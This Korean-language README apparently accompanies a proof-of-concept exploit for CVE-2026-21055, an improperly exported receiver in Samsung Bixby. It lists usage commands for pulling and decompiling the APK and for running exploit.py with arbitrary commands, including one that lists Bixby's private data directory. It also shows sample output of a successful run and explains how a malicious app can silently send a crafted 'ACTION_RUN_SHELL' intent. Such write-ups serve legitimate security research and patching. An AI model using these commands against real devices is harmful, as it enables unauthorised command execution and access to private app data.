
CVE-2026-21055에 대한 개념 증명 익스플로잇으로, Samsung Bixby에서 부적절하게 내보내진 Android 구성 요소를 통해 임의 명령 실행을 보여줍니다. 구성 요소 분석 및 Intent 기반 공격 스크립트가 포함되어 있습니다.
CVE-2026-21055에 대한 개념 증명: 삼성 빅스비 버전 4.0.70.8 미만에서 Android 애플리케이션 컴포넌트의 부적절한 내보내기로 인해 로컬 공격자가 빅스비 권한으로 임의 명령을 실행할 수 있습니다.
이 저장소에는 두 개의 Python 스크립트가 포함되어 있습니다:
analyze_components.py — 디컴파일된 AndroidManifest.xml을 분석하여 내보내진 활동, 서비스, 수신자 및 제공자를 열거합니다. 권한 보호 없이 내보내진 컴포넌트에 플래그를 표시합니다.
exploit.py — adb shell am을 통해 조작된 브로드캐스트 인텐트를 빅스비의 내보내진 명령 수신자에 전송하여 빅스비의 시스템 수준 권한으로 명령을 실행하는 인텐트 기반 공격을 시연합니다.
| 필드 | 값 |
|---|---|
| CVE ID | CVE-2026-21055 |
| Samsung SVE | SVE-2026-0917 |
| CVSS v4.0 | 8.5 — High |
| CWE | CWE-926 — Improper Export of Android Application Components |
| 영향을 받는 앱 | Samsung Bixby (com.samsung.android.bixby.agent) |
| 영향을 받는 버전 | < 4.0.70.8 |
| 수정된 버전 | 4.0.70.8 |
| 공격 벡터 | 로컬 (동일 장치의 악성 앱) |
| 필요한 권한 | 없음 |
| 사용자 상호작용 | 없음 |
| 영향 | 빅스비 권한으로 임의 명령 실행 |
장치에서 빅스비 APK를 가져와 디컴파일합니다:
# Find Bixby's APK path
$ adb shell pm path com.samsung.android.bixby.agent
# Pull the APK
$ adb pull <apk_path> bixby.apk
# Decompile with apktool
$ apktool d bixby.apk -o bixby_decompiled -f
분석 스크립트 실행:
$ python3 analyze_components.py --manifest bixby_decompiled/AndroidManifest.xml
또는 스크립트가 자동으로 디컴파일하도록 합니다:
$ python3 analyze_components.py --apk bixby.apk
$ python3 exploit.py --list
# 기본값: 'id' 명령 실행
$ python3 exploit.py
# 사용자 정의 명령
$ python3 exploit.py --command "ls /data/data/com.samsung.android.bixby.agent/"
# 사용자 정의 컴포넌트 지정 (자동 감지 실패 시)
$ python3 exploit.py --component com.samsung.android.bixby.agent/.receiver.CommandReceiver
============================================================
CVE-2026-21055 PoC — Samsung Bixby Command Execution
Improper Export of Android Application Components
============================================================
[*] Target package: com.samsung.android.bixby.agent
[*] Bixby version: 4.0.69.2
[*] Vulnerable: YES (< 4.0.70.8)
[*] Bixby UID on this device: 10xxx
[*] Executing exploit...
[*] Crafting exploit Intent...
Component: com.samsung.android.bixby.agent/.receiver.CommandReceiver
Action: com.samsung.android.bixby.agent.ACTION_RUN_SHELL
Command: id
Output: /data/local/tmp/bixby_poc_output
[+] Intent sent.
[+] Command output (executed with Bixby privilege):
uid=10xxx(u0_aXXX) gid=10xxx(u0_aXXX) groups=10xxx(u0_aXXX),3003(inet),9997(everybody)
[+] EXPLOIT SUCCESSFUL — command executed with Bixby privilege
[+] Verify the output UID matches Bixby's UID: 10xxx
컴포넌트 내보내기: 빅스비는 명령 실행 또는 자동화 트리거를 처리하는 하나 이상의 컴포넌트(서비스/수신자)를 내보냅니다. 이 컴포넌트들은 android:exported="true"로 내보내지지만 android:permission 속성이나 런타임 권한 확인이 없습니다.
인텐트 전달: 장치의 모든 앱이 이러한 내보내진 컴포넌트에 인텐트를 보낼 수 있습니다. 인텐트는 액션 문자열(예: ACTION_RUN_SHELL)과 실행할 명령 및 출력 파일 경로를 포함하는 문자열 추가 데이터를 전달합니다.
명령 실행: 빅스비의 내보내진 컴포넌트는 인텐트를 수신하여 명령을 추출하고 Runtime.exec() 또는 유사한 메커니즘을 통해 실행합니다. 명령은 빅스비의 프로세스 컨텍스트에서 실행되어 빅스비의 모든 시스템 수준 권한을 상속받습니다.
사용자 상호작용 불필요: 익스플로잇에는 사용자 상호작용이 필요하지 않습니다. 악성 앱은 백그라운드에서 조용히 인텐트를 전송합니다.
이 PoC는 교육 및 보안 연구 목적으로만 제공됩니다. 소유한 장치나 명시적 테스트 권한이 있는 장치에서만 테스트하십시오. 소유자의 동의 없이 이 익스플로잇을 장치에 사용하지 마십시오.